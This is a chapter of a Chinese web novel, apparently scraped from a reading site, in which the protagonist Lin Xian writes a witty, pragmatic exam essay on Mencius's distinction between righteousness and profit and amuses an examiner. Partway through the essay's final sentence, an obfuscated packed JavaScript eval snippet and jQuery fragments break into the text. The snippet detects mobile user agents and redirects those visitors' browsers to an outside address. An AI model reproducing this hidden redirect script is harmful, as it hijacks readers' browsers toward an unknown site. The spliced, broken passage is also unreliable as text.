第二日清晨，贡院内气氛比昨日更加凝重，几乎能拧出水来。


    经过一夜硬板床的煎熬和精神的折磨，许多士子眼圈乌黑，面色蜡黄，神情萎顿得像霜打的茄子。


    号舍间的气味也更加复杂难言，汗臭、墨臭、还有隐隐的……夜来香的余韵交织在一起，令人窒息。


    唯有林闲的“玄”字第七号，依旧飘散着淡淡的驱蚊香和薄荷清露的提神气息，让他看起来精神饱满，与周遭的“丧尸”群形成了惨烈对比。


    三通鼓响，试卷发下。


    第二场考的是经义，题目出自《孟子·梁惠王上》，要求阐发孟子“重义轻利”的思想，并结合时政论述。


    这题目一出，整个号舍区先是死寂一瞬，继而爆发出更加密集的“沙沙”声，如同千万春蚕啃食桑叶。士子们纷纷精神一振（回光返照般），这可是送分题啊！


    考生一个个立刻进入状态，引经据典奋笔疾书，大谈“君子喻于义，小人喻于利”，痛斥“利”字如何败坏人心、瓦解社稷。


    文章写得天花乱坠，正气凛然，恨不得立刻与“利”字划清界限，标榜自己是一尘不染的道德完人。


    对面的赵公子更是心中窃喜，这题目他不知背过多少范文，立刻笔走龙蛇，什么“舍生取义”、“存天理灭人欲”的句子往上堆砌，字迹华丽，自觉稳了。


    然而林闲拿到题目，扫了一眼差点笑喷。


    这不就是去年在族学上打脸林家酸秀才时出的利和义的辩证题么？


    他脑海中瞬间闪过一年前，在林氏族学里那个倚老卖老、满口酸腐的老秀才，也是拿着这个“义利之辨”来刁难他。


    当初那同族秀才想给他这“不服长房管教”的林闲一个下马威，结果他就是用一番“公利私利之辨”，把那个老秀才驳得面红耳赤、哑口无言！没想到时隔一年，在决定无数人命运的秋闱考场上，竟又遇到了这道题！


    “真是天道好轮回啊……”


    林闲心中暗笑。


    不过这老掉牙的题目，若按常规套路答，无非是重复先贤语录堆砌辞藻，千人一面。


    想脱颖而出？


    难！


    他决定再来点“不一样”的，给阅卷官们提提神。


    他好整以暇地磨墨，气定神闲。然后提笔蘸墨，先规规矩矩地开头，字迹工整，颇有法度：“孟子见梁惠王，首倡仁义而贬斥利字，实乃拔本塞源之论，为万世开太平之基也。”看起来中规中矩，甚至有点平庸。


    但紧接着，他笔锋陡然一转，如同宝剑出鞘，寒光乍现！


    “然学生窃以为，后世腐儒，读圣贤书而食古不化者，往往误解亚圣本意！”开篇第一句，就石破天惊！直接把矛头指向了“腐儒”和“食古不化”！


    “孟子所言利，非指寻常之利，乃“唯利是图、锱铢必较”之暴利，“与民争利、损公肥私”之私利也！若将此利一棒子打死，则天下熙熙，皆为利来。天下攘攘，皆为利往，圣贤岂非要将天下人尽数斥为小人？”


    他先给孟子的“利”划定了精准的靶子，然后开始“偷天换日”，大谈特谈“正当之利”的绝对必要性：


    “若夫国利，乃仓廪实、武备修、百姓安居乐业之利，此利不合仁义乎？难道要让将士饿着肚子保家卫国？让百姓衣不蔽体空谈道德？此乃皮之不存，**将焉附！”


    “若夫民利，乃耕者有其田、织者有其杼、商贾通其有无之利，此利不合仁义乎？若百姓终日辛劳，却不得温饱，则仁义道德，不过是空中楼阁、画饼充饥！”


    他举了个极其生动（甚至粗俗）的例子，堪称灵魂暴击：


    “若一味空谈仁义，讳言利益，则好比逼着饿了三天的乞丐，去背诵《道德经》！肚子尚且咕咕作响，饥肠辘辘，何来气力与闲心去弘扬仁义？只怕听到仁义二字，心中想的却是仁（人）义（肉）包子罢！”


    这比喻太过犀利传神，画面感极强！写完这句，林闲自己都差点笑出来。


    接着，他将矛头指向了某些官僚：


    “譬如一方县令，若只知高坐衙署，终日将尔俸尔禄，民脂民膏挂在嘴边，却不想方设法兴修水利利农耕，平整道路利商旅，设庠序之学利子弟。此等“清官”于民何益？不过是“泥塑的菩萨——中看不中用”！甚至堪称官场花瓶、百姓之蠹！”


    最后，林闲亮出自己的核心观点，将“义”和“利”辩证统一，提升到治国方略的高度：


    “故学生以为，为政者，当求“仁义之利！义为根本，利为枝叶。根深方能叶茂，叶茂方能庇荫众生。孟子斥利是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707200|187586||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    悲悯世人，怕其只见树木，不见森林，追逐私利小利而忘公义大利。吾辈当明辨之，当追求那君子爱财，取之有道的利，那岂因祸福避趋之的利！如此，方为真知孟子之意，方为经世致用之实学也！”


    整篇文章观点尖锐逻辑清晰，俚俗比喻与经典引用并行，充满了强烈的现实关怀和批判精神。


    在这片**、空谈道德的试卷海洋里，简直是一股泥石流！


    恰在此时，一位素以开明务实著称的阅卷官张大人巡视路过林闲号舍附近。他原本只是随意扫视，目光掠过林闲卷面时，恰好看到那句“逼着饿了三天的乞丐，去背诵《道德经》”


    他顿时眼睛一直，脚步钉在了原地！


    他强忍笑意，凑近细看，当看到“仁义包子”的谐音梗时，终于再也忍不住，“噗嗤”一声笑了出来，赶紧用袖子死死捂住嘴，老脸憋得通红，肩膀剧烈抖动，差点背过气去！


    好不容易缓过劲，张考官继续往下看，越看越心惊，越看越觉得此子见解非凡！


    这哪里是离经叛道？


    这分明是“拨云见日，直指本源”！


    尤其是“泥塑的菩萨”、“官场摆设”等语，简直说到了他这种务实派官员的心坎里。


    那些只会空谈的清流，他早就看不惯了。这份卷子，不仅有理有据，更有胆有识！


    “妙啊！此子……此子大才！务实的很！”张考官心中狂喜如获至宝，强忍着继续拍大腿的冲动，在心底已经将这份卷子夸到了天花板。


    他小心翼翼将林闲的考号“玄字七号”默记于心，这才强装镇定继续巡视。


    但嘴角那压抑不住的笑意，却出卖了他内心的激动。


    而对面的赵公子，正在绞尽脑汁堆砌“巍巍乎仁义”之类的华丽辞藻，忽然听到隔壁张考官那压抑的笑，心中莫名烦躁。


    他忍不住暗骂道：“又是林闲那个家伙！不知又写了什么粗鄙不堪、哗众取宠的东西来蛊惑考官！真是斯文扫地！”


    第二天的考试，就在林闲这篇“接地气”到近乎“炸裂”、却又闪耀着务实光辉的经义文章中结束。他的答卷，毫无疑问地再次成为了考官们私下激烈讨论（并憋笑）的焦点。


    可以预见，这份卷子一旦传入朝堂，必将引起一场不小的风波！